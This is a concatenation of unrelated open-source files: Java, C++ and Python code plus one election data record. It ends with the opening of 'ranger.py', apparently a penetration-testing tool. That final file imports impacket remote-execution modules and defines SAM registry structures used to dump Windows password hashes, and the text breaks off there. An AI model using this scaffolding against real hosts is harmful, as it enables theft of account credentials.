RexNode rexNode = PigRelExVisitor.translatePigEx(builder, pigProjections.get(i)); RelDataType dataType = rexNode.getType(); // If project field in null constant, dataType will by NULL type, need to check the original // type of Pig Schema if (dataType.getSqlTypeName() == SqlTypeName.NULL) { dataType = PigTypes.convertSchema(outputFieldSchema, true); } if (outputFieldSchema.size() == 1 && !gen.getFlattenFlags()[i]) { final RelDataType scriptType = PigTypes.convertSchemaField( outputFieldSchema.getField(0)); if (dataType.getSqlTypeName() == SqlTypeName.ANY || !SqlTypeUtil.isComparable(dataType, scriptType)) { // Script schema is different from project expression schema, need to do type cast rexNode = builder.getRexBuilder().makeCast(scriptType, rexNode); } } if (gen.getFlattenFlags()[i] && dataType.isStruct() && (dataType.getFieldCount() > 0 || dataType instanceof DynamicTupleRecordType)) { if (dataType instanceof DynamicTupleRecordType) { ((DynamicTupleRecordType) dataType).resize(outputFieldSchema.size()); for (int j = 0; j < outputFieldSchema.size(); j++) { final RelDataType scriptType = PigTypes.convertSchemaField( outputFieldSchema.getField(j)); RexNode exp = builder.call( SqlStdOperatorTable.ITEM, rexNode, builder.literal(j + 1)); innerCols.add(builder.getRexBuilder().makeCast(scriptType, exp)); fieldAlias.add(outputFieldSchema.getField(j).alias); } } else { for (int j = 0; j < dataType.getFieldCount(); j++) { innerCols.add(builder.dot(rexNode, j)); fieldAlias.add(outputFieldSchema.getField(j).alias); } } } else { innerCols.add(rexNode); String alias = null; if (outputFieldSchema.size() == 1) { // If simple type, take user alias if available alias = outputFieldSchema.getField(0).alias; } fieldAlias.add(alias); if (gen.getFlattenFlags()[i] && dataType.getFamily() instanceof MultisetSqlType) { multisetFlattens.add(innerCols.size() - 1); for (LogicalSchema.LogicalFieldSchema field : outputFieldSchema.getFields()) { String colAlias = field.alias; if (colAlias.contains("::")) { String[] tokens = colAlias.split("::"); colAlias = tokens[tokens.length - 1]; } flattenOutputAliases.add(colAlias); } } } } builder.project(innerCols, fieldAlias, true); } @Override public void visit(LOInnerLoad load) throws FrontendException { // Inner loads are the first operator the post order walker (@PigRelOpWalker) visits first // We first look at the plan structure to see if the inner load is for a simple projection, // which will not be processed in the nested block List<Operator> succesors = load.getPlan().getSuccessors(load); // An inner load is for a simple projection if it is a direct input of the @LOGenerate. // Nothing need to be done further here. if (succesors.size() == 1 && succesors.get(0) instanceof LOGenerate) { return; } // Now get the index of projected column using its alias RelDataType inputType = inputRel.getRowType(); final String colAlias = load.getProjection().getColAlias(); int index = colAlias != null ? inputType.getFieldNames().indexOf(colAlias) : load.getProjection().getColNum(); assert index >= 0; // The column should have multiset type to serve as input for the inner plan assert inputType.getFieldList().get(index).getType().getFamily() instanceof MultisetSqlType; // Build a correlated expression from the input row final CorrelationId correlId = builder.nextCorrelId(); final RexNode cor = builder.correl(inputType.getFieldList(), correlId); // The project out the column from the correlated expression RexNode fieldAccess = builder.getRexBuilder().makeFieldAccess(cor, index); builder.push(LogicalValues.createOneRow(builder.getCluster())); builder.project(fieldAccess); // Flatten the column value so that it can be served as the input relation for the inner plan builder.multiSetFlatten(); // Remember the correlation id, then the walker will walk up successor Pig operators. These // operators will be processed in @PigRelOpVisitor until it hits the @LOGenerate operator, // which will be processed in this class in visit(LOGenerate) corStack.push(correlId); } @Override public boolean preVisit(LogicalRelationalOperator root) { // Do not remember the visited PigOp in the inner plan, otherwise, we have trouble in doing // correlate with shared PigOp return false; } }
3,968
984
<reponame>om-sharma/java-driver /* * Copyright DataStax, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.datastax.oss.driver.internal.core.tracker; import com.datastax.oss.driver.api.core.config.DefaultDriverOption; import com.datastax.oss.driver.api.core.config.DriverExecutionProfile; import com.datastax.oss.driver.api.core.context.DriverContext; import com.datastax.oss.driver.api.core.metadata.Node; import com.datastax.oss.driver.api.core.session.Request; import com.datastax.oss.driver.api.core.session.SessionBuilder; import com.datastax.oss.driver.api.core.tracker.RequestTracker; import edu.umd.cs.findbugs.annotations.NonNull; import java.time.Duration; import net.jcip.annotations.ThreadSafe; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * A request tracker that logs the requests executed through the session, according to a set of * configurable options. * * <p>To activate this tracker, modify the {@code advanced.request-tracker} section in the driver * configuration, for example: * * <pre> * datastax-java-driver { * advanced.request-tracker { * classes = [RequestLogger] * logs { * success { enabled = true } * slow { enabled = true, threshold = 1 second } * error { enabled = true } * max-query-length = 500 * show-values = true * max-value-length = 50 * max-values = 50 * show-stack-traces = true * } * } * } * </pre> * * See {@code reference.conf} (in the manual or core driver JAR) for more details. * * <p>Note that if a tracker is specified programmatically with {@link * SessionBuilder#addRequestTracker(RequestTracker)}, the configuration is ignored. */ @ThreadSafe public class RequestLogger implements RequestTracker { private static final Logger LOG = LoggerFactory.getLogger(RequestLogger.class); public static final int DEFAULT_REQUEST_LOGGER_MAX_QUERY_LENGTH = 500; public static final boolean DEFAULT_REQUEST_LOGGER_SHOW_VALUES = true; public static final int DEFAULT_REQUEST_LOGGER_MAX_VALUES = 50; public static final int DEFAULT_REQUEST_LOGGER_MAX_VALUE_LENGTH = 50; private final RequestLogFormatter formatter; public RequestLogger(DriverContext context) { this(new RequestLogFormatter(context)); } protected RequestLogger(RequestLogFormatter formatter) { this.formatter = formatter; } @Override public void onSuccess( @NonNull Request request, long latencyNanos, @NonNull DriverExecutionProfile executionProfile, @NonNull Node node, @NonNull String logPrefix) { boolean successEnabled = executionProfile.getBoolean(DefaultDriverOption.REQUEST_LOGGER_SUCCESS_ENABLED, false); boolean slowEnabled = executionProfile.getBoolean(DefaultDriverOption.REQUEST_LOGGER_SLOW_ENABLED, false); if (!successEnabled && !slowEnabled) { return; } long slowThresholdNanos = executionProfile .getDuration(DefaultDriverOption.REQUEST_LOGGER_SLOW_THRESHOLD, Duration.ofSeconds(1)) .toNanos(); boolean isSlow = latencyNanos > slowThresholdNanos; if ((isSlow && !slowEnabled) || (!isSlow && !successEnabled)) { return; } int maxQueryLength = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_QUERY_LENGTH, DEFAULT_REQUEST_LOGGER_MAX_QUERY_LENGTH); boolean showValues = executionProfile.getBoolean( DefaultDriverOption.REQUEST_LOGGER_VALUES, DEFAULT_REQUEST_LOGGER_SHOW_VALUES); int maxValues = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_VALUES, DEFAULT_REQUEST_LOGGER_MAX_VALUES); int maxValueLength = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_VALUE_LENGTH, DEFAULT_REQUEST_LOGGER_MAX_VALUE_LENGTH); logSuccess( request, latencyNanos, isSlow, node, maxQueryLength, showValues, maxValues, maxValueLength, logPrefix); } @Override public void onError( @NonNull Request request, @NonNull Throwable error, long latencyNanos, @NonNull DriverExecutionProfile executionProfile, Node node, @NonNull String logPrefix) { if (!executionProfile.getBoolean(DefaultDriverOption.REQUEST_LOGGER_ERROR_ENABLED, false)) { return; } int maxQueryLength = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_QUERY_LENGTH, DEFAULT_REQUEST_LOGGER_MAX_QUERY_LENGTH); boolean showValues = executionProfile.getBoolean( DefaultDriverOption.REQUEST_LOGGER_VALUES, DEFAULT_REQUEST_LOGGER_SHOW_VALUES); int maxValues = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_VALUES, DEFAULT_REQUEST_LOGGER_MAX_VALUES); int maxValueLength = executionProfile.getInt( DefaultDriverOption.REQUEST_LOGGER_MAX_VALUE_LENGTH, DEFAULT_REQUEST_LOGGER_MAX_VALUE_LENGTH); boolean showStackTraces = executionProfile.getBoolean(DefaultDriverOption.REQUEST_LOGGER_STACK_TRACES, false); logError( request, error, latencyNanos, node, maxQueryLength, showValues, maxValues, maxValueLength, showStackTraces, logPrefix); } @Override public void onNodeError( @NonNull Request request, @NonNull Throwable error, long latencyNanos, @NonNull DriverExecutionProfile executionProfile, @NonNull Node node, @NonNull String logPrefix) { // Nothing to do } @Override public void onNodeSuccess( @NonNull Request request, long latencyNanos, @NonNull DriverExecutionProfile executionProfile, @NonNull Node node, @NonNull String logPrefix) { // Nothing to do } @Override public void close() throws Exception { // nothing to do } protected void logSuccess( Request request, long latencyNanos, boolean isSlow, Node node, int maxQueryLength, boolean showValues, int maxValues, int maxValueLength, String logPrefix) { StringBuilder builder = formatter.logBuilder(logPrefix, node); if (isSlow) { formatter.appendSlowDescription(builder); } else { formatter.appendSuccessDescription(builder); } formatter.appendLatency(latencyNanos, builder); formatter.appendRequest( request, maxQueryLength, showValues, maxValues, maxValueLength, builder); LOG.info(builder.toString()); } protected void logError( Request request, Throwable error, long latencyNanos, Node node, int maxQueryLength, boolean showValues, int maxValues, int maxValueLength, boolean showStackTraces, String logPrefix) { StringBuilder builder = formatter.logBuilder(logPrefix, node); formatter.appendErrorDescription(builder); formatter.appendLatency(latencyNanos, builder); formatter.appendRequest( request, maxQueryLength, showValues, maxValues, maxValueLength, builder); if (showStackTraces) { LOG.error(builder.toString(), error); } else { LOG.error("{} [{}]", builder.toString(), error.toString()); } } }
2,956
348
{"nom":"Saint-Salvi-de-Carcavès","circ":"1ère circonscription","dpt":"Tarn","inscrits":89,"abs":40,"votants":49,"blancs":5,"nuls":4,"exp":40,"res":[{"nuance":"DVD","nom":"M. <NAME>","voix":32},{"nuance":"FN","nom":"M. <NAME>","voix":8}]}
100
3,227
<reponame>ffteja/cgal<gh_stars>1000+ // Copyright (c) 2006 GeometryFactory (France). All rights reserved. // // This file is part of CGAL (www.cgal.org). // // $URL$ // $Id$ // SPDX-License-Identifier: GPL-3.0-or-later OR LicenseRef-Commercial // // Author(s) : <NAME> <<EMAIL>> // #ifndef CGAL_SURFACE_MESH_SIMPLIFICATION_POLICIES_EDGE_COLLAPSE_COUNT_RATIO_STOP_PREDICATE_H #define CGAL_SURFACE_MESH_SIMPLIFICATION_POLICIES_EDGE_COLLAPSE_COUNT_RATIO_STOP_PREDICATE_H #include <CGAL/license/Surface_mesh_simplification.h> #include <CGAL/Surface_mesh_simplification/internal/Common.h> #include <CGAL/Surface_mesh_simplification/Policies/Edge_collapse/Edge_profile.h> namespace CGAL { namespace Surface_mesh_simplification { //******************************************************************************************************************* // -= stopping condition predicate =- // // Determines whether the simplification has finished. // The arguments are (current_cost,vertex,vertex,is_edge,initial_pair_count,current_pair_count,surface) and the result is bool // //******************************************************************************************************************* // Stops when the ratio of initial to current vertex pairs is below some value. template<class TM_> class Count_ratio_stop_predicate { public: typedef TM_ TM; typedef typename boost::graph_traits<TM>::edges_size_type size_type; Count_ratio_stop_predicate(const double ratio) : m_ratio(ratio) { CGAL_warning(0. < ratio && ratio <= 1.); } template <typename F, typename Profile> bool operator()(const F& /*current_cost*/, const Profile& /*profile*/, size_type initial_edge_count, size_type current_edge_count) const { return (static_cast<double>(current_edge_count) / static_cast<double>(initial_edge_count)) < m_ratio; } private: double m_ratio; }; } // namespace Surface_mesh_simplification } // namespace CGAL #endif // CGAL_SURFACE_MESH_SIMPLIFICATION_POLICIES_EDGE_COLLAPSE_COUNT_RATIO_STOP_PREDICATE_H
825
534
package mekanism.common.recipe.lookup; import java.util.function.Predicate; import javax.annotation.Nullable; import mekanism.api.chemical.Chemical; import mekanism.api.chemical.ChemicalStack; import mekanism.api.recipes.MekanismRecipe; import mekanism.api.recipes.inputs.IInputHandler; import mekanism.common.recipe.lookup.IRecipeLookupHandler.IRecipeTypedLookupHandler; import mekanism.common.recipe.lookup.cache.InputRecipeCache.SingleChemical; import mekanism.common.recipe.lookup.cache.InputRecipeCache.SingleFluid; import mekanism.common.recipe.lookup.cache.InputRecipeCache.SingleItem; import mekanism.common.recipe.lookup.cache.SingleInputRecipeCache; import net.minecraft.item.ItemStack; import net.minecraftforge.fluids.FluidStack; /** * Helper expansion of {@link IRecipeLookupHandler} for easily implementing contains and find recipe lookups for recipes that take a single input using the input cache. */ public interface ISingleRecipeLookupHandler<INPUT, RECIPE extends MekanismRecipe & Predicate<INPUT>, INPUT_CACHE extends SingleInputRecipeCache<INPUT, ?, RECIPE, ?>> extends IRecipeTypedLookupHandler<RECIPE, INPUT_CACHE> { /** * Checks if there is a matching recipe of type {@link #getRecipeType()} that has the given input. * * @param input Recipe input. * * @return {@code true} if there is a match, {@code false} if there isn't. */ default boolean containsRecipe(INPUT input) { return getRecipeType().getInputCache().containsInput(getHandlerWorld(), input); } /** * Finds the first recipe for the type of recipe we handle ({@link #getRecipeType()}) by looking up the given input against the recipe type's input cache. * * @param input Recipe input. * * @return Recipe matching the given input, or {@code null} if no recipe matches. */ @Nullable default RECIPE findFirstRecipe(INPUT input) { return getRecipeType().getInputCache().findFirstRecipe(getHandlerWorld(), input); } /** * Finds the first recipe for the type of recipe we handle ({@link #getRecipeType()}) by looking up the given input against the recipe type's input cache. * * @param inputHandler Input handler to grab the recipe input from. * * @return Recipe matching the given input, or {@code null} if no recipe matches. */ @Nullable default RECIPE findFirstRecipe(IInputHandler<INPUT> inputHandler) { return findFirstRecipe(inputHandler.getInput()); } /** * Helper interface to make the generics that we have to pass to {@link ISingleRecipeLookupHandler} not as messy. */ interface ItemRecipeLookupHandler<RECIPE extends MekanismRecipe & Predicate<ItemStack>> extends ISingleRecipeLookupHandler<ItemStack, RECIPE, SingleItem<RECIPE>> { } /** * Helper interface to make the generics that we have to pass to {@link ISingleRecipeLookupHandler} not as messy. */ interface FluidRecipeLookupHandler<RECIPE extends MekanismRecipe & Predicate<FluidStack>> extends ISingleRecipeLookupHandler<FluidStack, RECIPE, SingleFluid<RECIPE>> { } /** * Helper interface to make the generics that we have to pass to {@link ISingleRecipeLookupHandler} not as messy. */ interface ChemicalRecipeLookupHandler<CHEMICAL extends Chemical<CHEMICAL>, STACK extends ChemicalStack<CHEMICAL>, RECIPE extends MekanismRecipe & Predicate<STACK>> extends ISingleRecipeLookupHandler<STACK, RECIPE, SingleChemical<CHEMICAL, STACK, RECIPE>> { /** * Helper wrapper to convert a chemical to a chemical stack and pass it to {@link #containsRecipe(Object)} to make validity predicates easier and cleaner. */ default boolean containsRecipe(CHEMICAL input) { return containsRecipe((STACK) input.getStack(1)); } } }
1,282
839
<reponame>AnEmortalKid/cxf /** * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.apache.cxf.wsdl.interceptors; import java.net.URI; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; import javax.xml.namespace.QName; import javax.xml.stream.XMLStreamConstants; import javax.xml.stream.XMLStreamReader; import javax.xml.transform.dom.DOMSource; import org.apache.cxf.databinding.source.SourceDataBinding; import org.apache.cxf.endpoint.Endpoint; import org.apache.cxf.helpers.XPathUtils; import org.apache.cxf.message.Exchange; import org.apache.cxf.message.ExchangeImpl; import org.apache.cxf.message.Message; import org.apache.cxf.message.MessageContentsList; import org.apache.cxf.message.MessageImpl; import org.apache.cxf.service.Service; import org.apache.cxf.service.model.BindingInfo; import org.apache.cxf.service.model.BindingOperationInfo; import org.apache.cxf.service.model.EndpointInfo; import org.apache.cxf.service.model.InterfaceInfo; import org.apache.cxf.service.model.MessageInfo; import org.apache.cxf.service.model.MessageInfo.Type; import org.apache.cxf.service.model.MessagePartInfo; import org.apache.cxf.service.model.OperationInfo; import org.apache.cxf.service.model.ServiceInfo; import org.apache.cxf.staxutils.PartialXMLStreamReader; import org.apache.cxf.staxutils.StaxUtils; import org.easymock.EasyMock; import org.easymock.IMocksControl; import org.junit.After; import org.junit.Before; import org.junit.Test; import static org.junit.Assert.assertEquals; /** * Unit test for testing DocLiteralInInterceptor to use Source Data Binding * */ public class DocLiteralInInterceptorTest { private static final String NS = "http://cxf.apache.org/wsdl-first/types"; protected IMocksControl control; @Before public void setUp() throws Exception { control = EasyMock.createNiceControl(); } @After public void tearDown() throws Exception { control.verify(); } @Test public void testUnmarshalSourceData() throws Exception { XMLStreamReader reader = StaxUtils.createXMLStreamReader(getClass() .getResourceAsStream("resources/multiPartDocLitBareReq.xml")); assertEquals(XMLStreamConstants.START_ELEMENT, reader.nextTag()); XMLStreamReader filteredReader = new PartialXMLStreamReader(reader, new QName("http://schemas.xmlsoap.org/soap/envelope/", "Body")); // advance the xml reader to the message parts StaxUtils.read(filteredReader); assertEquals(XMLStreamConstants.START_ELEMENT, reader.nextTag()); Message m = new MessageImpl(); Exchange exchange = new ExchangeImpl(); Service service = control.createMock(Service.class); exchange.put(Service.class, service); EasyMock.expect(service.getDataBinding()).andReturn(new SourceDataBinding()); EasyMock.expect(service.size()).andReturn(0).anyTimes(); EasyMock.expect(service.isEmpty()).andReturn(true).anyTimes(); Endpoint endpoint = control.createMock(Endpoint.class); exchange.put(Endpoint.class, endpoint); OperationInfo operationInfo = new OperationInfo(); operationInfo.setProperty("operation.is.synthetic", Boolean.TRUE); MessageInfo messageInfo = new MessageInfo(operationInfo, Type.INPUT, new QName("http://foo.com", "bar")); messageInfo.addMessagePart(new MessagePartInfo(new QName("http://foo.com", "partInfo1"), null)); messageInfo.addMessagePart(new MessagePartInfo(new QName("http://foo.com", "partInfo2"), null)); messageInfo.addMessagePart(new MessagePartInfo(new QName("http://foo.com", "partInfo3"), null)); messageInfo.addMessagePart(new MessagePartInfo(new QName("http://foo.com", "partInfo4"), null)); for (MessagePartInfo mpi : messageInfo.getMessageParts()) { mpi.setMessageContainer(messageInfo); } operationInfo.setInput("inputName", messageInfo); BindingOperationInfo boi = new BindingOperationInfo(null, operationInfo); exchange.put(BindingOperationInfo.class, boi); EndpointInfo endpointInfo = control.createMock(EndpointInfo.class); BindingInfo binding = control.createMock(BindingInfo.class); EasyMock.expect(endpoint.getEndpointInfo()).andReturn(endpointInfo).anyTimes(); EasyMock.expect(endpointInfo.getBinding()).andReturn(binding).anyTimes(); EasyMock.expect(binding.getProperties()).andReturn(new HashMap<String, Object>()).anyTimes(); EasyMock.expect(endpointInfo.getProperties()).andReturn(new HashMap<String, Object>()).anyTimes(); EasyMock.expect(endpoint.size()).andReturn(0).anyTimes(); EasyMock.expect(endpoint.isEmpty()).andReturn(true).anyTimes(); ServiceInfo serviceInfo = control.createMock(ServiceInfo.class); EasyMock.expect(endpointInfo.getService()).andReturn(serviceInfo).anyTimes(); EasyMock.expect(serviceInfo.getName()).andReturn(new QName("http://foo.com", "service")).anyTimes(); InterfaceInfo interfaceInfo = control.createMock(InterfaceInfo.class); EasyMock.expect(serviceInfo.getInterface()).andReturn(interfaceInfo).anyTimes(); EasyMock.expect(interfaceInfo.getName()) .andReturn(new QName("http://foo.com", "interface")).anyTimes(); EasyMock.expect(endpointInfo.getName()).andReturn(new QName("http://foo.com", "endpoint")).anyTimes(); EasyMock.expect(endpointInfo.getProperty("URI", URI.class)).andReturn(new URI("dummy")).anyTimes(); List<OperationInfo> operations = new ArrayList<>(); EasyMock.expect(interfaceInfo.getOperations()).andReturn(operations).anyTimes(); m.setExchange(exchange); m.put(Message.SCHEMA_VALIDATION_ENABLED, false); m.setContent(XMLStreamReader.class, reader); control.replay(); new DocLiteralInInterceptor().handleMessage(m); MessageContentsList params = (MessageContentsList)m.getContent(List.class); assertEquals(4, params.size()); assertEquals("StringDefaultInputElem", ((DOMSource)params.get(0)).getNode().getFirstChild().getNodeName()); assertEquals("IntParamInElem", ((DOMSource)params.get(1)).getNode().getFirstChild().getNodeName()); } @Test public void testUnmarshalSourceDataWrapped() throws Exception { XMLStreamReader reader = StaxUtils.createXMLStreamReader(getClass() .getResourceAsStream("resources/docLitWrappedReq.xml")); assertEquals(XMLStreamConstants.START_ELEMENT, reader.nextTag()); XMLStreamReader filteredReader = new PartialXMLStreamReader(reader, new QName("http://schemas.xmlsoap.org/soap/envelope/", "Body")); // advance the xml reader to the message parts StaxUtils.read(filteredReader); assertEquals(XMLStreamConstants.START_ELEMENT, reader.nextTag()); Message m = new MessageImpl(); // request to keep the document as wrapped m.put(DocLiteralInInterceptor.KEEP_PARAMETERS_WRAPPER, true); Exchange exchange = new ExchangeImpl(); Service service = control.createMock(Service.class); exchange.put(Service.class, service); EasyMock.expect(service.getDataBinding()).andReturn(new SourceDataBinding()).anyTimes(); EasyMock.expect(service.size()).andReturn(0).anyTimes(); EasyMock.expect(service.isEmpty()).andReturn(true).anyTimes(); Endpoint endpoint = control.createMock(Endpoint.class); exchange.put(Endpoint.class, endpoint); // wrapped OperationInfo operationInfo = new OperationInfo(); MessageInfo messageInfo = new MessageInfo(operationInfo, Type.INPUT, new QName(NS, "foo")); messageInfo.addMessagePart(new MessagePartInfo(new QName(NS, "personId"), null)); messageInfo.addMessagePart(new MessagePartInfo(new QName(NS, "ssn"), null)); messageInfo.getMessagePart(0).setConcreteName(new QName(NS, "personId")); messageInfo.getMessagePart(1).setConcreteName(new QName(NS, "ssn")); operationInfo.setInput("inputName", messageInfo); // wrapper OperationInfo operationInfoWrapper = new OperationInfo(); MessageInfo messageInfoWrapper = new MessageInfo(operationInfo, Type.INPUT, new QName(NS, "foo")); messageInfoWrapper.addMessagePart(new MessagePartInfo(new QName(NS, "GetPerson"), null)); messageInfoWrapper.getMessagePart(0).setConcreteName(new QName(NS, "GetPerson")); operationInfoWrapper.setInput("inputName", messageInfoWrapper); operationInfoWrapper.setUnwrappedOperation(operationInfo); ServiceInfo serviceInfo = control.createMock(ServiceInfo.class); EasyMock.expect(serviceInfo.getName()).andReturn(new QName("http://foo.com", "service")).anyTimes(); InterfaceInfo interfaceInfo = control.createMock(InterfaceInfo.class); EasyMock.expect(serviceInfo.getInterface()).andReturn(interfaceInfo).anyTimes(); EasyMock.expect(interfaceInfo.getName()).andReturn(new QName("http://foo.com", "interface")) .anyTimes(); BindingInfo bindingInfo = new BindingInfo(serviceInfo, ""); BindingOperationInfo boi = new BindingOperationInfo(bindingInfo, operationInfoWrapper); exchange.put(BindingOperationInfo.class, boi); EndpointInfo endpointInfo = control.createMock(EndpointInfo.class); BindingInfo binding = control.createMock(BindingInfo.class); EasyMock.expect(endpoint.getEndpointInfo()).andReturn(endpointInfo).anyTimes(); EasyMock.expect(endpointInfo.getBinding()).andReturn(binding).anyTimes(); EasyMock.expect(binding.getProperties()).andReturn(new HashMap<String, Object>()).anyTimes(); EasyMock.expect(endpointInfo.getProperties()).andReturn(new HashMap<String, Object>()).anyTimes(); EasyMock.expect(endpoint.size()).andReturn(0).anyTimes(); EasyMock.expect(endpoint.isEmpty()).andReturn(true).anyTimes(); EasyMock.expect(endpointInfo.getService()).andReturn(serviceInfo).anyTimes(); EasyMock.expect(endpointInfo.getName()).andReturn(new QName("http://foo.com", "endpoint")).anyTimes(); EasyMock.expect(endpointInfo.getProperty("URI", URI.class)).andReturn(new URI("dummy")).anyTimes(); List<OperationInfo> operations = new ArrayList<>(); EasyMock.expect(interfaceInfo.getOperations()).andReturn(operations).anyTimes(); m.setExchange(exchange); m.put(Message.SCHEMA_VALIDATION_ENABLED, false); m.setContent(XMLStreamReader.class, reader); control.replay(); new DocLiteralInInterceptor().handleMessage(m); MessageContentsList params = (MessageContentsList)m.getContent(List.class); // we expect a wrapped document assertEquals(1, params.size()); Map<String, String> ns = new HashMap<>(); ns.put("ns", NS); XPathUtils xu = new XPathUtils(ns); assertEquals("hello", xu.getValueString("//ns:GetPerson/ns:personId", ((DOMSource)params.get(0)).getNode().getFirstChild())); assertEquals("1234", xu.getValueString("//ns:GetPerson/ns:ssn", ((DOMSource)params.get(0)).getNode().getFirstChild())); } }
4,568
8,805
// // KBAppToolbar.h // Keybase // // Created by Gabriel on 4/22/15. // Copyright (c) 2015 <NAME>. All rights reserved. // #import <Foundation/Foundation.h> #import <Tikppa/Tikppa.h> #import "KBRPC.h" #import "KBAppDefines.h" @class KBAppToolbar; @protocol KBAppToolbarDelegate - (void)appToolbar:(KBAppToolbar *)appToolbar didSelectItem:(KBAppViewItem)item; @end @interface KBAppToolbar : YOView @property KBAppViewItem selectedItem; @property (weak) id<KBAppToolbarDelegate> delegate; - (void)setUser:(KBRUser *)user; @end
216
628
<filename>api/files/urls.py from django.conf.urls import url from api.files import views app_name = 'osf' urlpatterns = [ url(r'^(?P<file_id>\w+)/$', views.FileDetail.as_view(), name=views.FileDetail.view_name), url(r'^(?P<file_id>\w+)/versions/$', views.FileVersionsList.as_view(), name=views.FileVersionsList.view_name), url(r'^(?P<file_id>\w+)/versions/(?P<version_id>\w+)/$', views.FileVersionDetail.as_view(), name=views.FileVersionDetail.view_name), url(r'^(?P<file_id>\w+)/metadata_records/$', views.FileMetadataRecordsList.as_view(), name=views.FileMetadataRecordsList.view_name), url(r'^(?P<file_id>\w+)/metadata_records/(?P<record_id>\w+)/$', views.FileMetadataRecordDetail.as_view(), name=views.FileMetadataRecordDetail.view_name), url(r'^(?P<file_id>\w+)/metadata_records/(?P<record_id>\w+)/download/$', views.FileMetadataRecordDownload.as_view(), name=views.FileMetadataRecordDownload.view_name), ]
389
483
<filename>ranger.py #!/usr/bin/env python ''' Libraries ''' import base64, sys, argparse, re, subprocess, os, time, logging, signal, urllib2, cmd, ntpath, string, random, ConfigParser, hashlib, traceback, tempfile, collections, ast, datetime, sets import xml.etree.ElementTree as etree from threading import Thread, Lock, Event from Queue import Queue from struct import unpack, pack from collections import OrderedDict try: import colorama except: sys.exit("[!] Install the colorama library: pip install colorama") try: import netifaces except: sys.exit("[!] Install the netifaces library: pip install netifaces") try: import nmap except: sys.exit("[!] Install the python-nmap library: pip install python-nmap") try: import netaddr except: sys.exit("[!] Install the netaddr library: pip install netaddr") try: from Crypto.Cipher import DES, ARC4, AES from Crypto.Hash import HMAC, MD4 except Exception: logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") logging.critical("See http://www.pycrypto.org/") try: from impacket import smbserver, version, ntlm, uuid, winregistry, smbconnection from impacket.smbconnection import * from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL from impacket.examples import remcomsvc, serviceinstall, logger from impacket.dcerpc.v5 import transport, scmr, wkst, srvs, samr, rpcrt, rrp from impacket.dcerpc import ndrutils, atsvc from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.nt_errors import STATUS_MORE_ENTRIES from impacket.structure import Structure from impacket.ese import ESENT_DB from impacket.winregistry import hexdump #from impacket.smbconnection import SMBConnection except Exception as e: print("[!] The following error occured %s") % (e) sys.exit("[!] Install the necessary impacket libraries and move this script to the examples directory within it") ''' This pre-section contains the code from the impacket libraries and examples. This code falls under the licenses perscribed by that code distribution. ''' ''' IMPACKET SECRETSDUMP ''' # Structures # Taken from http://insecurety.net/?p=768 class SAM_KEY_DATA(Structure): structure = ( ('Revision','<L=0'), ('Length','<L=0'), ('Salt','16s=""'), ('Key','16s=""'), ('CheckSum','16s=""'), ('Reserved','<Q=0'), ) class DOMAIN_ACCOUNT_F(Structure): structure = ( ('Revision','<L=0'), ('Unknown','<L=0'), ('CreationTime','<Q=0'), ('DomainModifiedCount','<Q=0'), ('MaxPasswordAge','<Q=0'), ('MinPasswordAge','<Q=0'), ('ForceLogoff','<Q=0'), ('LockoutDuration','<Q=0'), ('LockoutObservationWindow','<Q=0'), ('ModifiedCountAtLastPromotion','<Q=0'), ('NextRid','<L=0'), ('PasswordProperties','<L=0'), ('MinPasswordLength','<H=0'), ('PasswordHistoryLength','<H=0'), ('LockoutThreshold','<H=0'), ('Unknown2','<H=0'), ('ServerState','<L=0'), ('ServerRole','<H=0'), ('UasCompatibilityRequired','<H=0'), ('Unknown3','<Q=0'), ('Key0',':', SAM_KEY_DATA), # Commenting this, not needed and not present on Windows 2000 SP0 # ('Key1',':', SAM_KEY_DATA), # ('Unknown4','<L=0'), ) # Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm class USER_ACCOUNT_V(Structure): structure = ( ('Unknown','12s=""'), ('NameOffset','<L=0'), ('NameLength','<L=0'), ('Unknown2','<L=0'), ('FullNameOffset','<L=0'), ('FullNameLength','<L=0'), ('Unknown3','<L=0'), ('CommentOffset','<L=0'), ('CommentLength','<L=0'), ('Unknown3','<L=0'), ('UserCommentOffset','<L=0'), ('UserCommentLength','<L=0'), ('Unknown4','<L=0'), ('Unknown5','12s=""'), ('HomeDirOffset','<L=0'), ('HomeDirLength','<L=0'), ('Unknown6','<L=0'), ('HomeDirConnectOffset','<L=0'), ('HomeDirConnectLength','<L=0'), ('Unknown7','<L=0'), ('ScriptPathOffset','<L=0'), ('ScriptPathLength','<L=0'), ('Unknown8','<L=0'), ('ProfilePathOffset','<L=0'), ('ProfilePathLength','<L=0'), ('Unknown9','<L=0'), ('WorkstationsOffset','<L=0'), ('WorkstationsLength','<L=0'), ('Unknown10','<L=0'), ('HoursAllowedOffset','<L=0'), ('HoursAllowedLength','<L=0'), ('Unknown11','<L=0'), ('Unknown12','12s=""'), ('LMHashOffset','<L=0'), ('LMHashLength','<L=0'), ('Unknown13','<L=0'), ('NTHashOffset','<L=0'), ('NTHashLength','<L=0'), ('Unknown14','<L=0'), ('Unknown15','24s=""'), 